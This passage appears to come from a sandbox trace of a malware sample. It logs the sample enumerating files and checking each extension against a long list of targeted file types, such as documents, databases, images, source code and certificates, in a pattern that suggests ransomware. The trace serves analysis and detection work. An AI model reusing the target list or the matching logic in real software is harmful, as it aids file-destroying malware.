ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0092.818] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0092.818] lstrlenW (lpString=".1cd") returned 4 [0092.818] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0092.818] lstrlenW (lpString=".3ds") returned 4 [0092.818] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0092.818] lstrlenW (lpString=".3fr") returned 4 [0092.818] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0092.818] lstrlenW (lpString=".3g2") returned 4 [0092.818] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0092.818] lstrlenW (lpString=".3gp") returned 4 [0092.818] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0092.818] lstrlenW (lpString=".7z") returned 3 [0092.818] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0092.818] lstrlenW (lpString=".accda") returned 6 [0092.818] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0092.818] lstrlenW (lpString=".accdb") returned 6 [0092.818] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0092.818] lstrlenW (lpString=".accdc") returned 6 [0092.818] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0092.818] lstrlenW (lpString=".accde") returned 6 [0092.819] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0092.819] lstrlenW (lpString=".accdt") returned 6 [0092.819] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0092.819] lstrlenW (lpString=".accdw") returned 6 [0092.819] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0092.819] lstrlenW (lpString=".adb") returned 4 [0092.819] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".adp") returned 4 [0092.819] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".ai") returned 3 [0092.819] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0092.819] lstrlenW (lpString=".ai3") returned 4 [0092.819] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".ai4") returned 4 [0092.819] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".ai5") returned 4 [0092.819] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".ai6") returned 4 [0092.819] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".ai7") returned 4 [0092.819] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".ai8") returned 4 [0092.819] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0092.819] lstrlenW (lpString=".anim") returned 5 [0092.819] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0092.819] lstrlenW (lpString=".arw") returned 4 [0092.819] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".as") returned 3 [0092.820] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0092.820] lstrlenW (lpString=".asa") returned 4 [0092.820] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".asc") returned 4 [0092.820] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".ascx") returned 5 [0092.820] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0092.820] lstrlenW (lpString=".asm") returned 4 [0092.820] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".asmx") returned 5 [0092.820] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0092.820] lstrlenW (lpString=".asp") returned 4 [0092.820] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".aspx") returned 5 [0092.820] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0092.820] lstrlenW (lpString=".asr") returned 4 [0092.820] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".asx") returned 4 [0092.820] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".avi") returned 4 [0092.820] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".avs") returned 4 [0092.820] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0092.820] lstrlenW (lpString=".backup") returned 7 [0092.820] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0092.820] lstrlenW (lpString=".bak") returned 4 [0092.820] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".bay") returned 4 [0092.821] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".bd") returned 3 [0092.821] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0092.821] lstrlenW (lpString=".bin") returned 4 [0092.821] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".bmp") returned 4 [0092.821] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".bz2") returned 4 [0092.821] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".c") returned 2 [0092.821] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0092.821] lstrlenW (lpString=".cdr") returned 4 [0092.821] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".cer") returned 4 [0092.821] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".cf") returned 3 [0092.821] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0092.821] lstrlenW (lpString=".cfc") returned 4 [0092.821] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".cfm") returned 4 [0092.821] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0092.821] lstrlenW (lpString=".cfml") returned 5 [0092.821] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0092.822] lstrlenW (lpString=".cfu") returned 4 [0092.822] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".chm") returned 4 [0092.822] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".cin") returned 4 [0092.822] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".class") returned 6 [0092.822] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0092.822] lstrlenW (lpString=".clx") returned 4 [0092.822] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".config") returned 7 [0092.822] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0092.822] lstrlenW (lpString=".cpp") returned 4 [0092.822] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".cr2") returned 4 [0092.822] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".crt") returned 4 [0092.822] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".crw") returned 4 [0092.822] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0092.822] lstrlenW (lpString=".cs") returned 3 [0092.822] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0092.822] lstrlenW (lpString=".css") returned 4 [0092.822] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".csv") returned 4 [0092.823] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".cub") returned 4 [0092.823] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dae") returned 4 [0092.823] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dat") returned 4 [0092.823] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".db") returned 3 [0092.823] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0092.823] lstrlenW (lpString=".dbf") returned 4 [0092.823] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dbx") returned 4 [0092.823] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dc3") returned 4 [0092.823] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dcm") returned 4 [0092.823] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dcr") returned 4 [0092.823] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".der") returned 4 [0092.823] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dib") returned 4 [0092.823] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0092.823] lstrlenW (lpString=".dic") returned 4 [0092.824] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".dif") returned 4 [0092.824] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".divx") returned 5 [0092.824] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0092.824] lstrlenW (lpString=".djvu") returned 5 [0092.824] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0092.824] lstrlenW (lpString=".dng") returned 4 [0092.824] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".doc") returned 4 [0092.824] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".docm") returned 5 [0092.824] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0092.824] lstrlenW (lpString=".docx") returned 5 [0092.824] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0092.824] lstrlenW (lpString=".dot") returned 4 [0092.824] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".dotm") returned 5 [0092.824] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0092.824] lstrlenW (lpString=".dotx") returned 5 [0092.824] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0092.824] lstrlenW (lpString=".dpx") returned 4 [0092.824] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".dqy") returned 4 [0092.824] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0092.824] lstrlenW (lpString=".dsn") returned 4 [0092.825] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".dt") returned 3 [0092.825] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0092.825] lstrlenW (lpString=".dtd") returned 4 [0092.825] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".dwg") returned 4 [0092.825] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".dwt") returned 4 [0092.825] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".dx") returned 3 [0092.825] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0092.825] lstrlenW (lpString=".dxf") returned 4 [0092.825] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".edml") returned 5 [0092.825] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0092.825] lstrlenW (lpString=".efd") returned 4 [0092.825] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".elf") returned 4 [0092.825] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".emf") returned 4 [0092.825] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".emz") returned 4 [0092.825] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".epf") returned 4 [0092.825] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0092.825] lstrlenW (lpString=".eps") returned 4 [0092.826] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".epsf") returned 5 [0092.826] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0092.826] lstrlenW (lpString=".epsp") returned 5 [0092.826] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0092.826] lstrlenW (lpString=".erf") returned 4 [0092.826] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".exr") returned 4 [0092.826] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".f4v") returned 4 [0092.826] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".fido") returned 5 [0092.826] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0092.826] lstrlenW (lpString=".flm") returned 4 [0092.826] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".flv") returned 4 [0092.826] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".frm") returned 4 [0092.826] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".fxg") returned 4 [0092.826] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".geo") returned 4 [0092.826] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".gif") returned 4 [0092.826] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0092.826] lstrlenW (lpString=".grs") returned 4 [0092.826] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".gz") returned 3 [0092.827] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0092.827] lstrlenW (lpString=".h") returned 2 [0092.827] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0092.827] lstrlenW (lpString=".hdr") returned 4 [0092.827] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".hpp") returned 4 [0092.827] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".hta") returned 4 [0092.827] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".htc") returned 4 [0092.827] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".htm") returned 4 [0092.827] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".html") returned 5 [0092.827] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0092.827] lstrlenW (lpString=".icb") returned 4 [0092.827] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".ics") returned 4 [0092.827] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".iff") returned 4 [0092.827] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".inc") returned 4 [0092.827] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0092.827] lstrlenW (lpString=".indd") returned 5 [0092.827] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0092.827] lstrlenW (lpString=".ini") returned 4 [0092.828] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".iqy") returned 4 [0092.828] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".j2c") returned 4 [0092.828] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".j2k") returned 4 [0092.828] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".java") returned 5 [0092.828] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0092.828] lstrlenW (lpString=".jp2") returned 4 [0092.828] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".jpc") returned 4 [0092.828] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".jpe") returned 4 [0092.828] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".jpeg") returned 5 [0092.828] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0092.828] lstrlenW (lpString=".jpf") returned 4 [0092.828] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".jpg") returned 4 [0092.828] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".jpx") returned 4 [0092.828] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0092.828] lstrlenW (lpString=".js") returned 3 [0092.828] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0092.829] lstrlenW (lpString=".jsf") returned 4 [0092.829] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".json") returned 5 [0092.829] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0092.829] lstrlenW (lpString=".jsp") returned 4 [0092.829] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".kdc") returned 4 [0092.829] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".kmz") returned 4 [0092.829] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".kwm") returned 4 [0092.829] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".lasso") returned 6 [0092.829] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0092.829] lstrlenW (lpString=".lbi") returned 4 [0092.829] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".lgf") returned 4 [0092.829] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".lgp") returned 4 [0092.829] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".log") returned 4 [0092.829] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".m1v") returned 4 [0092.829] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".m4a") returned 4 [0092.829] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0092.829] lstrlenW (lpString=".m4v") returned 4 [0092.830] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".max") returned 4 [0092.830] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".md") returned 3 [0092.830] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0092.830] lstrlenW (lpString=".mda") returned 4 [0092.830] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mdb") returned 4 [0092.830] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mde") returned 4 [0092.830] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mdf") returned 4 [0092.830] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mdw") returned 4 [0092.830] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mef") returned 4 [0092.830] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mft") returned 4 [0092.830] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mfw") returned 4 [0092.830] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mht") returned 4 [0092.830] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0092.830] lstrlenW (lpString=".mhtml") returned 6 [0092.830] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0092.830] lstrlenW (lpString=".mka") returned 4 [0092.831] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mkidx") returned 6 [0092.831] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0092.831] lstrlenW (lpString=".mkv") returned 4 [0092.831] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mos") returned 4 [0092.831] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mov") returned 4 [0092.831] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mp3") returned 4 [0092.831] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mp4") returned 4 [0092.831] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mpeg") returned 5 [0092.831] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0092.831] lstrlenW (lpString=".mpg") returned 4 [0092.831] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mpv") returned 4 [0092.831] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mrw") returned 4 [0092.831] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".msg") returned 4 [0092.831] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0092.831] lstrlenW (lpString=".mxl") returned 4 [0092.831] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0092.831] lstrlenW (lpString=".myd") returned 4 [0092.831] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".myi") returned 4 [0092.832] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".nef") returned 4 [0092.832] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".nrw") returned 4 [0092.832] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".obj") returned 4 [0092.832] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".odb") returned 4 [0092.832] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".odc") returned 4 [0092.832] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".odm") returned 4 [0092.832] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".odp") returned 4 [0092.832] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".ods") returned 4 [0092.832] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".oft") returned 4 [0092.832] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".one") returned 4 [0092.832] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0092.832] lstrlenW (lpString=".onepkg") returned 7 [0092.832] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0092.832] lstrlenW (lpString=".onetoc2") returned 8 [0092.832] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0092.833] lstrlenW (lpString=".opt") returned 4 [0092.833] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".oqy") returned 4 [0092.833] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".orf") returned 4 [0092.833] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".p12") returned 4 [0092.833] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".p7b") returned 4 [0092.833] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".p7c") returned 4 [0092.833] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pam") returned 4 [0092.833] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pbm") returned 4 [0092.833] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pct") returned 4 [0092.833] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pcx") returned 4 [0092.833] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pdd") returned 4 [0092.833] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pdf") returned 4 [0092.833] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pdp") returned 4 [0092.833] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0092.833] lstrlenW (lpString=".pef") returned 4 [0092.834] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".pem") returned 4 [0092.834] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".pff") returned 4 [0092.834] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".pfm") returned 4 [0092.834] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".pfx") returned 4 [0092.834] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".pgm") returned 4 [0092.834] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".php") returned 4 [0092.834] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0092.834] lstrlenW (lpString=".php3") returned 5 [0092.834] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0092.834] lstrlenW (lpString=".php4") returned 5 [0092.834] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0092.834] lstrlenW (lpString=".php5") returned 5 [0092.834] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0092.834] lstrlenW (lpString=".phtml") returned 6 [0092.834] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0092.834] lstrlenW (lpString=".pict") returned 5 [0092.834] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0092.834] lstrlenW (lpString=".pl") returned 3 [0092.834] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0092.834] lstrlenW (lpString=".pls") returned 4 [0092.834] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".pm") returned 3 [0092.835] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0092.835] lstrlenW (lpString=".png") returned 4 [0092.835] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".pnm") returned 4 [0092.835] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".pot") returned 4 [0092.835] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".potm") returned 5 [0092.835] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0092.835] lstrlenW (lpString=".potx") returned 5 [0092.835] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0092.835] lstrlenW (lpString=".ppa") returned 4 [0092.835] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0092.835] lstrlenW (lpString=".ppam") returned 5 [0092.835] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0092.835] lstrlenW (lpString=".ppm") returned 4 [0092.835] 